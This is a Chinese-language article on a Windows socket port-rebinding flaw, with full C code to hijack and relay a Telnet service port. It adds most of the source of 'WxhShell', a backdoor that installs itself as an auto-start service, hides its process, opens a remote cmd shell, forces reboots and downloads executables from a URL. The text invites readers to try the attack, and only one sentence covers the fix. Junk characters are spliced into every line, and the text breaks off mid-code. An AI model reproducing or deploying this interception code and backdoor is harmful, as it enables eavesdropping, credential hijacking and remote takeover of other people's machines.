在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|M+ !O93 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
uL1-@D, iaR'):TD saddr.sin_family = AF_INET;
rv\<Q-uQ8 <vPIC G) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[g%oo3`A w1.KRe{M bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5jbd!t@L oinF<-( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6T)D6;@L KBOxr5w 这意味着什么?意味着可以进行如下的攻击:
0BBWuNF. L>xN7N3&m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Yr0%ZYfN V%3K") 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z43 H] Qg4qjX](? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g Ts5xDvJ <Z}2A8mjY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@90) O1-Ne.$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sKNN ahGjh /y1,w JI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4s3n|6 v VdYu| w;v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?}O\'Fa8 yA6"8fr #include
K0b(D8! #include
I*'QD) #include
S=o Ab& #include
&;*jMu6 DWORD WINAPI ClientThread(LPVOID lpParam);
pO x0f;'G+ int main()
mKn:EqA {
yn`H }@`k WORD wVersionRequested;
@VVBl I DWORD ret;
/\OjtE WSADATA wsaData;
X 5pp8~ BOOL val;
`@-H
; SOCKADDR_IN saddr;
wzF/`z&0?6 SOCKADDR_IN scaddr;
cgml^k\k^ int err;
D/Bb)]9I SOCKET s;
@G^
l`% SOCKET sc;
L%I@HB9-Q0 int caddsize;
UoBmS5 HANDLE mt;
He~)i)co DWORD tid;
3/oVl
6 wVersionRequested = MAKEWORD( 2, 2 );
\M<C6m5 err = WSAStartup( wVersionRequested, &wsaData );
e")s1` if ( err != 0 ) {
XWH~o:0<2 printf("error!WSAStartup failed!\n");
#jbo!
wdg return -1;
xyBWV]Y }
<mi*AY saddr.sin_family = AF_INET;
6-j><' evz{@;.R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0LN"azhz x^xlH!Sc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E2+O-;VN saddr.sin_port = htons(23);
ALJ^XvB4V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X\V1c$13CK {
L>Y%$|4 printf("error!socket failed!\n");
EcU}ErN return -1;
]?-8[v~{C }
Y{6y.F*Q# val = TRUE;
M9M~[[
//SO_REUSEADDR选项就是可以实现端口重绑定的
R:fERj<s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hCuUX)>Bt {
j/ow8Jmc* printf("error!setsockopt failed!\n");
v[A)r]"j"M return -1;
^FIpkhw }
(V!:6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[x{'NwP? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]>B>.s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R %aed>zo M4~^tML>Ey if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D!^&*Ia?2 {
:Z3Tyj}4 ret=GetLastError();
L9W'TvTwo printf("error!bind failed!\n");
lpvZ[^G return -1;
_H}8eU }
PuYAoKG listen(s,2);
e5W 8YNA while(1)
W+k SL{0 {
6F
!B;D -Q caddsize = sizeof(scaddr);
:
M=0o< //接受连接请求
nc4KeEl sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#{-B`FAQ if(sc!=INVALID_SOCKET)
J!YB_6b {
vz[oy |{F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
mu@He&w" if(mt==NULL)
@Fvp~]jCb {
.!/w[Z] printf("Thread Creat Failed!\n");
DP_ ]\V<sT break;
$F2A }
{DlQTgP }
q|r^)0W CloseHandle(mt);
% 8u97f W }
oG{0{%*@ closesocket(s);
lC|`DG-B WSACleanup();
~ >6d}7xs return 0;
(#KSwWo{ed }
|zd+
\o DWORD WINAPI ClientThread(LPVOID lpParam)
AWo\u!j {
~}Xd{afo SOCKET ss = (SOCKET)lpParam;
!Pd@0n4 SOCKET sc;
"Te[R%aP unsigned char buf[4096];
8~*
|muN.e SOCKADDR_IN saddr;
r}T(?KGx long num;
'1P~"P3 DWORD val;
?VnA DWORD ret;
s3<gq x-&r //如果是隐藏端口应用的话,可以在此处加一些判断
V7DMn@Ckw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=[5F~--Tf saddr.sin_family = AF_INET;
uC$!|I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lZ gX{ saddr.sin_port = htons(23);
Z{XF!pS%H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5!-+5TJI {
ZP-^10
printf("error!socket failed!\n");
FWC\(f return -1;
n4Xh}KtH }
%'o'Kh''= val = 100;
Y2$wL9"> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q8|
C>$n {
`-Y8T\ ret = GetLastError();
\*yH33B9 return -1;
Q%>6u@' }
D`hl} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q8 &\;GK| {
pz4lC=H%o ret = GetLastError();
t9l]ie{"o. return -1;
$Iz *W]B! }
VcX89c4\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'Hf+Y/` {
<DR$WsDG printf("error!socket connect failed!\n");
qzk!'J3*r< closesocket(sc);
wHuz~y6 closesocket(ss);
\gCh'3 return -1;
{HO,d{{ }
&s^t~>Gpr while(1)
FHbyL\Q {
t4d^DZDh! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
OV2/? //如果是嗅探内容的话,可以再此处进行内容分析和记录
+,xluwv$ 9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I_k/lwBD num = recv(ss,buf,4096,0);
2p %j@O if(num>0)
M!tR>NMH send(sc,buf,num,0);
)gVz?-u+D else if(num==0)
GAP,$xAaW break;
D/)E[Fv+ num = recv(sc,buf,4096,0);
E[NszM[P if(num>0)
nixIKOnjC send(ss,buf,num,0);
>q&X#E<w else if(num==0)
KOhK#t>H@0 break;
awB+B8^s }
U%rEW[ j closesocket(ss);
.+)
AeGh closesocket(sc);
7TW&=( return 0 ;
MX7Y1 }
=|LB,REN X<sM4dwxE :8t;_f ==========================================================
LK|1[y^h W:VX^8</ 下边附上一个代码,,WXhSHELL
7TtDI=f B4/\=MXb ==========================================================
()^tw5e'^ Og-v][ #include "stdafx.h"
oL
U !x hsAk7KC #include <stdio.h>
sa?s[ #include <string.h>
f4;V7DJ #include <windows.h>
Z~AgZM
R #include <winsock2.h>
lJ
Jn@A #include <winsvc.h>
@6kkt~>: #include <urlmon.h>
6o.Dgt/f O03N$Jq
A #pragma comment (lib, "Ws2_32.lib")
Nt,:`o | #pragma comment (lib, "urlmon.lib")
IOddu2.( uCHM #define MAX_USER 100 // 最大客户端连接数
a! 3e Z, #define BUF_SOCK 200 // sock buffer
9
lXnNK
|] #define KEY_BUFF 255 // 输入 buffer
qTz5P 9\Md.> #define REBOOT 0 // 重启
1\aV4T #define SHUTDOWN 1 // 关机
BU<Qp$& $9@3dM*E?Z #define DEF_PORT 5000 // 监听端口
PDpuHHB 6 \?GY #define REG_LEN 16 // 注册表键长度
4(? Z1S #define SVC_LEN 80 // NT服务名长度
#Xk/<It 8I~*9MUp // 从dll定义API
OIs!,G| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{)I&&fSz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
o'_eLp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
GdM|?u&s" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Mtaky=l8~I ,&iEn}xG7i // wxhshell配置信息
/b]+RXvxj struct WSCFG {
e$`;z%6y int ws_port; // 监听端口
}XD=N#p@z char ws_passstr[REG_LEN]; // 口令
=5O&4G`} int ws_autoins; // 安装标记, 1=yes 0=no
:z`L) char ws_regname[REG_LEN]; // 注册表键名
s54AM]a{j char ws_svcname[REG_LEN]; // 服务名
gm$<U9L\v char ws_svcdisp[SVC_LEN]; // 服务显示名
6?';ip char ws_svcdesc[SVC_LEN]; // 服务描述信息
8&:dzS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V#+M lN int ws_downexe; // 下载执行标记, 1=yes 0=no
ZEB,Q~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&8dj*!4H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B A
i ^t J u"/#@ };
Tdxc%'l )`#SMLMy~ // default Wxhshell configuration
(g>&ov(d struct WSCFG wscfg={DEF_PORT,
ll
^I;o0 "xuhuanlingzhe",
a|ZJzuqo 1,
XzW\p8D^u "Wxhshell",
L*6>S_l[ "Wxhshell",
;ykX]5jGh "WxhShell Service",
bSW~hyI w "Wrsky Windows CmdShell Service",
"`V:4uz "Please Input Your Password: ",
%~\I*v04 1,
#iT3aou "
http://www.wrsky.com/wxhshell.exe",
}}LjEOvL= "Wxhshell.exe"
CpU
y~ };
]V,#>' ft$
'UJ%j // 消息定义模块
m[%P3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q4niA char *msg_ws_prompt="\n\r? for help\n\r#>";
WS+uK b^< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L4<=,}KS char *msg_ws_ext="\n\rExit.";
(Bss%\ char *msg_ws_end="\n\rQuit.";
+vYVx<uTQ char *msg_ws_boot="\n\rReboot...";
au+a7~0~ char *msg_ws_poff="\n\rShutdown...";
lT8^BT char *msg_ws_down="\n\rSave to ";
/BrbP7 ;It1i`!R char *msg_ws_err="\n\rErr!";
ahR-^^'$ char *msg_ws_ok="\n\rOK!";
,Qt2 ? wc ;^C?PX char ExeFile[MAX_PATH];
]YUst]gu3 int nUser = 0;
Y+C6+I<3 HANDLE handles[MAX_USER];
([NS% int OsIsNt;
&g!yRvM!;Q p@3 <{kLm SERVICE_STATUS serviceStatus;
iwfH~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
.G>6_n3 }O:l]O` // 函数声明
wx^1lC2 int Install(void);
U3p Mv|b int Uninstall(void);
T9AFL;1 int DownloadFile(char *sURL, SOCKET wsh);
8ZNwo int Boot(int flag);
mpzm6Ieu void HideProc(void);
`8D'r|=`Eh int GetOsVer(void);
+2m\Sv V int Wxhshell(SOCKET wsl);
fK4NmdTV void TalkWithClient(void *cs);
\O\veB8 int CmdShell(SOCKET sock);
F D.L{ int StartFromService(void);
4Z/]7Ie int StartWxhshell(LPSTR lpCmdLine);
|Gt]V`4 {WuUzq` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#Qd"d3QG VOID WINAPI NTServiceHandler( DWORD fdwControl );
?e hUGvV2 0T:ZWRjH // 数据结构和表定义
vl5r~F SERVICE_TABLE_ENTRY DispatchTable[] =
]U.YbWe^ {
%)L|7v< {wscfg.ws_svcname, NTServiceMain},
F"a31`L>H {NULL, NULL}
{ pu .l4nk };
'.zr:l !%'c$U2 // 自我安装
2w:cdAv$ int Install(void)
_'P!>C! {
7.B]B,] char svExeFile[MAX_PATH];
Cce{aY HKEY key;
74a>}+" strcpy(svExeFile,ExeFile);
\)BDl /pz(s+4= // 如果是win9x系统,修改注册表设为自启动
#po}Y if(!OsIsNt) {
0GnbE2& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BoXGoFn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$1myf Z RegCloseKey(key);
^qPS&G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ok_)C+o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rY(^6[ ! RegCloseKey(key);
\E,Fe:/g return 0;
#}zL?s^G }
{pEbi)CF,} }
K[i|OZWu }
nNcmL/( else {
u/4|Akui zbP#y~[ // 如果是NT以上系统,安装为系统服务
~[
x} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!S[7IBk% if (schSCManager!=0)
g/ x\#W {
G
4C 7 SC_HANDLE schService = CreateService
EXT_x q (
+#g?rCz schSCManager,
fQ~YBFhlr wscfg.ws_svcname,
4vf,RjB-5 wscfg.ws_svcdisp,
!e:HE/&>i SERVICE_ALL_ACCESS,
WAp#[mW.fx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*M()z.N SERVICE_AUTO_START,
b+mh9q'5E SERVICE_ERROR_NORMAL,
AME6Zu3Y svExeFile,
Js!V,={iX NULL,
RLX?3u& NULL,
W\<p`xHk NULL,
oF#]<Z\ NULL,
wQ/FJoB NULL
}\_[+@*EJ );
06vxsT@ if (schService!=0)
}5sJd>u5^ {
1R"ymWg" CloseServiceHandle(schService);
k{j (Gb2sp CloseServiceHandle(schSCManager);
D3-H!TFpDb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
4)~GHb strcat(svExeFile,wscfg.ws_svcname);
i:,37INMt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"6fTZ< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`)s>},8W! RegCloseKey(key);
`Hq)g1a7q return 0;
}mSfg }
3QzHQU }
oyY0!w,Y CloseServiceHandle(schSCManager);
~85Pgb< }
Yet!qmZ }
QH_I<Y:n 5\$8"/H return 1;
p;m2RHYF }
7ezf.[{R l/w<R // 自我卸载
kKRZ79"7s int Uninstall(void)
t&=]>blIs {
D$
+"n HKEY key;
CGkCLd*s] 0`dMT>&I if(!OsIsNt) {
b
ZEyP
W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!{L`Zd;C>w RegDeleteValue(key,wscfg.ws_regname);
+yd(t}H@ RegCloseKey(key);
F,-S&d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E>3fk RegDeleteValue(key,wscfg.ws_regname);
0 SeDBs RegCloseKey(key);
G6L
/Ny3>_ return 0;
*eo<5YUHt }
wIT}>8o }
)Vb_0 n=^ }
79 ZBVe(} else {
-O-qEQd csF!*!tta SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#7~M1/eH=t if (schSCManager!=0)
C4~`3Mk {
2v6QUf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DIurFDQSS if (schService!=0)
^?)o,djY& {
;f7;U=gl, if(DeleteService(schService)!=0) {
XABI2Ex CloseServiceHandle(schService);
v"&Fj CloseServiceHandle(schSCManager);
E)dV;1t return 0;
Y|iJO>_Uu= }
DdL0MGwX CloseServiceHandle(schService);
BI,j/SRK }
~rX2oLw{&
CloseServiceHandle(schSCManager);
a}+7MEUmZ/ }
=@d IM }
3+2&@:$t YdK]%% return 1;
PDnwaK }
3./4] _p RrDNEwAr // 从指定url下载文件
OyG$ ]C int DownloadFile(char *sURL, SOCKET wsh)
P]@m0f {
[fU2$(mT+ HRESULT hr;
^"h`U'YC char seps[]= "/";
tGs=08` char *token;
\=yx~c_$L char *file;
\HB4ikl char myURL[MAX_PATH];
;O2r+n char myFILE[MAX_PATH];
|?!Ew# w D+.h*{gD strcpy(myURL,sURL);
4u
zyU_ token=strtok(myURL,seps);
uwl;(zwh_ while(token!=NULL)
G2%%$7Jj {
dw60m,m file=token;
U'st\Dt token=strtok(NULL,seps);
I4Ys,n }
1YA_`_@w ]&3UF? GetCurrentDirectory(MAX_PATH,myFILE);
y#3mc#)k strcat(myFILE, "\\");
?[\(i)] strcat(myFILE, file);
M<,E[2op send(wsh,myFILE,strlen(myFILE),0);
D 5q Cn^R send(wsh,"...",3,0);
k@eU #c5c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Cr,UP8MO if(hr==S_OK)
)hHkaI>eYv return 0;
(N U*PQY6 else
F(8>"(C return 1;
dE+xU(\,w Syn>;FX }
9'I
I! Uu9\;f // 系统电源模块
J>P{8Aw int Boot(int flag)
n:GK0wu.s
{
I-NzGx2u HANDLE hToken;
K
YFumR TOKEN_PRIVILEGES tkp;
%p}_4+[;
-i@1sNx&' if(OsIsNt) {
0)V<)"i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`?Yh`P0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ldo7}<s tkp.PrivilegeCount = 1;
iNR6BP
W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5uK:f\y)l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vMXS%Q if(flag==REBOOT) {
}Lx?RU+@= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
U3 e3 return 0;
+k'5W1e }
&UUIiQm~ else {
CUT D]:\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"SyAOOZ return 0;
cjU* }
<JKRdIx&1 }
LXaT_3; else {
31LXzQvFG
if(flag==REBOOT) {
8?4j- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
I)AV return 0;
0(;d<u)fS }
Efb>ZQ else {
&inu mc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8H3|i7.1h return 0;
@eN x:} }
)eNR4nF }
maLKUSgo uYlC*z{ return 1;
jRS0(8 }
ewqfs/ ^0R.U+?+ // win9x进程隐藏模块
<8[BB7 void HideProc(void)
BhkJ>4# {
nZa.3/7dJ z!5^UD8"W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^c}Z$V if ( hKernel != NULL )
sn&y;Vc[$ {
`'[u%U E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
LQ"56PP< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*ta
``q FreeLibrary(hKernel);
NIeT.! }
5 fjeBfy _*1/4^ return;
w{Wz^=';
}
/E/J< etj8M
y6= // 获取操作系统版本
;BqYhi int GetOsVer(void)
\X5{>nNh {
bo rt2k OSVERSIONINFO winfo;
jQzq(oDQw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rl9YB %P GetVersionEx(&winfo);
DPJ#Y -0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[Z|R-{" return 1;
V2cLwQ'0 else
n'{cU( return 0;
5bX
SN$7| }
(Bd8@}\u_ NH$a :> // 客户端句柄模块
SsfnBCVR int Wxhshell(SOCKET wsl)
y~An'+yBa {
v'7,(.E SOCKET wsh;
k'X
v*U struct sockaddr_in client;
[k.|iCD DWORD myID;
S,Boutd " 4#V$V while(nUser<MAX_USER)
1HG~}E {
./LD int nSize=sizeof(client);
>tnQuFKg] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zRdL-u%(# if(wsh==INVALID_SOCKET) return 1;
3'6%P_S TU{^/-l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y 9] if(handles[nUser]==0)
~U#afGH$ closesocket(wsh);
AzVON#rj else
k DS nUser++;
>S3iP?V7 }
|GtTz& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@FKNB.> +M! f}=H
return 0;
pi:%Bd&F }
r k;k:<c ^AK<]r<?L? // 关闭 socket
WY#A9i5Ge void CloseIt(SOCKET wsh)
XeDiiI {
Vu0jNKUV closesocket(wsh);
Ro$'|}(+A nUser--;
4G0Er?D
ExitThread(0);
~YKe:K+&z }
1GKd*z IlJ6&9 // 客户端请求句柄
-?`^^v void TalkWithClient(void *cs)
= ;#?CAa: {
DVt;I$ An!1>`8r SOCKET wsh=(SOCKET)cs;
2Jl6Xc8 char pwd[SVC_LEN];
x?Doe`/6? char cmd[KEY_BUFF];
Aa-L<wZVPt char chr[1];
fOCLN$x^ int i,j;
;@GlJ
'$; yB\}e'J^ while (nUser < MAX_USER) {
MW8GM }Ho[ H=[eO if(wscfg.ws_passstr) {
#z_lBg. K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>&3M
#s(w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T1jAY^^I //ZeroMemory(pwd,KEY_BUFF);
m07=
_4 i=0;
yKF"\^`@ while(i<SVC_LEN) {
Yo3my>N&g Cqy84!Z< // 设置超时
ms8de>A|H fd_set FdRead;
NrT!&>M struct timeval TimeOut;
&p=Uus FD_ZERO(&FdRead);
QNn\wz_) FD_SET(wsh,&FdRead);
/"?yB$s TimeOut.tv_sec=8;
E}Q'Wz|k TimeOut.tv_usec=0;
m(SGE,("w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p/L|;c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?U.+SQ G#-t&gO3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}Tf~)x pwd
=chr[0]; A@xa$!4}
if(chr[0]==0xd || chr[0]==0xa) { ;`',M6g
pwd=0; <dl:';@a-
break; 6r{NW9y'
} "s[wLclfG
i++; 8)HUo?/3
} UZ7Zzc#g
L#mf[a@pCn
// 如果是非法用户,关闭 socket O4J <u-E$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [E<NEl*
} >Q#h,x~vu
U8Z(=*Z3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .1<QB{4~v
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P}hHx<L
t=o2:p6&
while(1) { l
Os91+.%
/ r6^]grg
ZeroMemory(cmd,KEY_BUFF); #&<>|m
<y[LdB/a
// 自动支持客户端 telnet标准 4\
R2\
j=0; ]R[j]E.
while(j<KEY_BUFF) { ? cU9~=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !m8MyZ}%
cmd[j]=chr[0]; Vc0C@*fVM
if(chr[0]==0xa || chr[0]==0xd) { lWr=79
cmd[j]=0; ln.'}P
break; {7swE(N
} XE8>&&X
j++; T1AD(r\W5
} TLbnG$VQS
o;5 J=
// 下载文件 ScOiOz:Ha
if(strstr(cmd,"http://")) { v,bCj6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6Hoc F/Ye
if(DownloadFile(cmd,wsh)) Gy 0 m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bQd'objpY
else :_9MS0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &$$KC?!w
} (%.[MilxPM
else { L~9Q7 6w
QS(aA*D
switch(cmd[0]) { ;PM(q<@\
&[71~.Od
// 帮助
K|[p4*6
case '?': { lz1RAp0R"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SQ&nQzL
break; ! Rr k
} \cJ?2^Eq
// 安装 Sd[%$)scC
case 'i': { tNpBRk(}
if(Install()) {jdtNtw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Z6M?n
else ?RW7TWf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A#NJ8_
break; %-9?rOr
} n!Hj4~T0
// 卸载 M~'4>h}
case 'r': { s4V-brCM$|
if(Uninstall()) Z[9)
hGh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(d Hn
else 0F48T<i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aw?i6d
break; $~)BO_;o
} |T`ZK?B+u
// 显示 wxhshell 所在路径 c,@&Z#IZ`
case 'p': { |w; hu]
char svExeFile[MAX_PATH]; {"kEu
strcpy(svExeFile,"\n\r"); Y=G9|7*lO
strcat(svExeFile,ExeFile); 4)Jtc2z7Z\
send(wsh,svExeFile,strlen(svExeFile),0); au=A+
break; P"-*'q,9
} ~l {*XM
// 重启 AS1#_fC
case 'b': { <'T:9
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8Dy5g
if(Boot(REBOOT)) B'NtG84
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VrQgn9L
else { xE>jlr?
closesocket(wsh); 6=pE5UfT
ExitThread(0); OdKfU^
} S7!+8$2mc_
break; /H (55^EMZ
} rgo#mTQ_
// 关机 yP<ngi^s=
case 'd': { ,5*Z<[*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )wZ;}O
if(Boot(SHUTDOWN)) L<D<3g|4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8NF93tqD6
else { 7C;oMh5
closesocket(wsh); =Ff _)k
ExitThread(0); ZYS`M?Au
} bm>N~DC
break; {UeS_O>(
} lIhP\:;S&
// 获取shell g49G7sk
case 's': { I3I1<}>]Z
CmdShell(wsh); Yamu"#
closesocket(wsh); ;{L ~|q J
ExitThread(0); 8_W=)w6
break; 8(3nv[
} V><,.p8
// 退出 @5RbMf{
case 'x': { )tvP|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :?!b\LJ2^
CloseIt(wsh); ?d!*[Ke8
break; ?2(52?cJ
} !+Fr U'^
// 离开 )k^y<lC2a
case 'q': {
'^|u\$&U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M&[bb $00j
closesocket(wsh); 8NZQTRdH
WSACleanup(); J#'8]p3E
exit(1); }AW"2<@
break;
Y+d+
} OA7YWk<K
} *SK`&V
} $,.XPK5Qu
]Y3NmL
// 提示信息 11^.oa+`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?W 6
:$
} Qx")D?u
} 79*f <Gr
9 _oAs"w
return; A+=K<e
} @fQvAok
5r1u_8)'
// shell模块句柄 A.9ZFFz
int CmdShell(SOCKET sock) c4f3Dr'xw
{ ;x|7"lE
STARTUPINFO si; h`n)
b
ZeroMemory(&si,sizeof(si)); JT p+&NS
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,+4*\yI3l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x%'5rnm|
PROCESS_INFORMATION ProcessInfo; V/&JArW
char cmdline[]="cmd"; ]*Cq'<h$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '" 4;;(
return 0; [C#H _y(
} r!<)CT}D
d iWi0@
// 自身启动模式 OZR{+YrB^
int StartFromService(void) ( 5 BZZ
{ ^'ws/(
typedef struct h-<Qj,L{W
{ "h5.^5E6
DWORD ExitStatus; ^~1Z"kAnT
DWORD PebBaseAddress; ^)E#
c
DWORD AffinityMask; %<O0Yenu
